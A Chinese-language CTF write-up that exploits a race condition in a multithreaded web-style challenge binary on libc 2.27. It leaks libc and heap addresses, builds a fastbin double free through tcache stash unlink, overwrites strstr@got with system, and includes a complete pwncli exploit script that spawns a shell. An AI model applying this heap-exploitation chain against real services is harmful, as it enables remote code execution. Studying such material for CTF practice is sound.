总结
多线程条件竞争,经调试分析与阅读源码,总结在多线程下释放tcache
管理大小范围内的堆块的时候,流程大概如下:
- 线程申请
tcache_perthread_struct
结构体,这里会使用mmap
申请
- 将堆块释放到线程对应的
tcache bins
中
- 线程结束时调用
tcache_shutdown
,将当前线程tcache bins
所管理的chunk
都使用__libc_free
释放掉,这时的tcache
变量为NULL
,所以肯定不会进tcache bins
,而会进入到fastbins/unsorted bins
。
checksec
远程为libc-2.27.so
,可以double free
的版本。
漏洞点
其实这个程序很多地方都有栈溢出,但是由于使用的都是sscanf/strlen/sprintf
等字符串类型的函数,会被\x00
截断,所以不太好绕过canary
,否则直接利用栈溢出就能解题。首先泄露地址可以任选一个有栈溢出的函数,然后泄露栈上残留的地址即可,这里我选用的是echo
函数:
还有一个主要利用的点,是多线程下全局变量的条件竞争:
这里故意设置了sleep(1)
就是为竞争创造条件。
利用思路
-
首先利用echo
泄露出libc
地址
-
利用条件竞争漏洞,首先泄露出堆地址,做法为:调用两次add
,然后调用1
次count
,等待1
秒,这个时候该线程已经分配的2
个属于memo
的chunk
都释放掉了,此时主线程调用GET /list
即可泄露堆地址仍
-
然后利用条件竞争漏洞,让两个线程去释放同一个chunk
,构造出A->B->A
的fastbin
链
-
分配A
,此时由于tcache stash unlink
,就会把剩下的B/A
都会放到tcache bins
中去,这里可以使用url_encode
编码,使得memo
的长度满足要求
-
分配到strstr@got
,修改为system@plt
-
输入/bin/sh;
获取shell
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def get_list(keep_alive=True):
payload = "GET /list deadbeef \n"
if keep_alive:
payload += "Connection: keep-alive\r\n\r\n"
s(payload)
m = r()
return m
def post_add(memo, count=1, keep_alive=True):
assert len(memo) <= 80, "memo wrong!"
if isinstance(memo, str):
memo = memo.encode()
payload = b"POST /add deadbeef \n"
if keep_alive:
payload += b"Connection: keep-alive\r\n\r\n"
payload += b"memo=" + memo + b"&count="+ str(count).encode()
s(payload)
m = r()
return m
def post_count(keep_alive=True):
payload = "POST /count deadbeef \n"
if keep_alive:
payload += "Connection: keep-alive\r\n\r\n"
s(payload)
m = r()
return m
def post_echo(content, keep_alive=True):
payload = "POST /echo deadbeef \n"
if keep_alive:
payload += "Connection: keep-alive\r\n\r\n"
payload += f"content={content}"
s(payload)
m = r()
return m
def url_encode(addr, length):
addr = hex(addr)[2:].zfill(16)
res = ""
for i in range(0, 16, 2):
res = "%"+addr[i:i+2] + res
return res.ljust(length, "X")
# leak libc addr
m = post_echo("a"*0xa7+"#")
i = m.find(b"#")
assert i >= 0, "index error!"
libc_base = u64_ex(m[i+1:i+7]) - 0x10bf0
log_address("libc_base", libc_base)
assert libc_base & 0xfff == 0, "libc error"
post_add("a"*0x30, 1)
post_add("b"*0x30, 1)
post_count()
sleep(1)
m = get_list()
heap_base = u32_ex(m[0xc5:0xc5+4]) - 0x280
log_heap_base_addr(heap_base)
sleep(3)
post_add("a"*0x30, 1) # 0
post_add("b"*0x30, 1) # 1
post_add("c"*0x30, 1) # 2
post_add("c"*0x40, 3) # 3
post_count()
sleep(2)
post_add(p32(heap_base + 0x280), 1)
post_count()
sleep(6)
post_add(url_encode(elf.got.strstr, 0x30), 1) # 0
post_add("a"*0x30, 1)
post_add("b"*0x30, 1)
post_add(url_encode(libc.sym.system + libc_base, 0x30), 1)
sleep(2)
sl("/bin/sh;")
ia()
|
多试几次就可以拿到shell
了。
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli